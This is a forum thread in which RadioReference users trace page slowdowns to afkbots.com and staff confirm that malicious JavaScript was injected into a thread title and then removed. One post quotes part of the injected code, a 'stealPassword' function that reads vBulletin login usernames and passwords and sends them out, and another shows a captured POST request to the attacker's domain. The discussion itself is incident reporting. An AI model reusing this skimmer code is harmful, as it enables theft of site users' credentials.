afkbot.com ???

Status
Not open for further replies.

SCPD

QRT
Joined
Feb 24, 2001
Messages
0
Location
Virginia
I see this in the browser status bar when I'm on RR in the Ohio Forum. "...waiting for afkbot.com..."
Delays loading the page for 15 or 20 seconds. What the heck is this? I searched google and it has something to do with online games?? I don't do that.
 

SCPD

QRT
Joined
Feb 24, 2001
Messages
0
Location
Virginia
I see this in the browser status bar when I'm on RR in the Ohio Forum. "...waiting for afkbot.com..."
Delays loading the page for 15 or 20 seconds. What the heck is this? I searched google and it has something to do with online games?? I don't do that.
Correction: it's afkbots.com I dropped the "s".
 

InlandAZ

Member
Premium Subscriber
Joined
May 16, 2005
Messages
662
Location
Maricopa AZ
I couldn't see how AFK (Away From Keyboard) BOTS would ever be associated with the RR forums - Do you have a browser add-on installed?

If you're running IE try starting it in safe-mode and see if it behaves the same. Safe-Mode can be located under All Programs/Accessories/System Tools assuming you're running Windows 7.
 

SCPD

QRT
Joined
Feb 24, 2001
Messages
0
Location
Virginia
Using Firefox 30. Doesn't seem to do it with IE.

I didn't know whether it was me, RR, or NSA or whatever ! :)
 

SCPD

QRT
Joined
Feb 24, 2001
Messages
0
Location
Virginia
Well I uninstalled FF 30 and wiped everything on the disk and registry and reinstalled. Same results. Just seems to do it in Ohio Forum.
 

InlandAZ

Member
Premium Subscriber
Joined
May 16, 2005
Messages
662
Location
Maricopa AZ
Interesting - I see it as well with Firefox. Maybe an Admin would know...

Here's a snippet from Fiddler -

POST http://www.afkbots.com/radio/data.php HTTP/1.1
Host: www.afkbots.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: Ohio Radio Discussion Forum - The RadioReference.com Forums
Content-Length: 6
Origin: The RadioReference.com Forums - Powered by vBulletin
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
 

dimab

Member
Joined
Dec 19, 2002
Messages
364
Location
CT
it's not just in Ohio sub. It's across most of the site. View the source on any page and you can see it's calling some afk scripts. Interesting indeed.

this is pretty interesting. part of the code.

function stealPassword() {
var frame = this.document.getElementById('frame').contentWindow.document;
var form = $(frame).find('form[name="loginform"]');
var username = $(form).find('input[name="vb_login_username"]').val();
var password = $(form).find('input[name="vb_login_password"]').val();

if (password.length == 0) {
getMessages();
return;
}

request({
type: TYPE_STEAL,
login: username + ':' + password
});
}
 
Last edited:

blantonl

Founder and CEO
Staff member
Joined
Dec 9, 2000
Messages
9,687
Location
San Antonio, TX
Looks like there was some malicious Javascript interested into the title of an announcement thread just in the Ohio forums - we've removed it and will be reviewing additional items on how this occurred in the first place and to prevent it from happening again.

Thanks,
 

WB2UZR

Member
Joined
Mar 26, 2005
Messages
503
Location
Goodyear, Arizona
Just FYI, I noticed the same thing, but haven't been to the Ohio forum, I was noticing it in several other forums. I haven't seen it tonight though.

Scott
 

hamstang

Member
Premium Subscriber
Joined
Feb 27, 2002
Messages
380
Location
Charlotte NC
North Carolina Also

Looks like there was some malicious Javascript interested into the title of an announcement thread just in the Ohio forums - we've removed it and will be reviewing additional items on how this occurred in the first place and to prevent it from happening again.

Thanks,
My Chrome RR bookmark takes me to the NC forum. The past 24 hours or so I've had the delay and "afkbots.....showing in the tool bar. Working OK now, no delay.
 
Last edited:
Status
Not open for further replies.
Top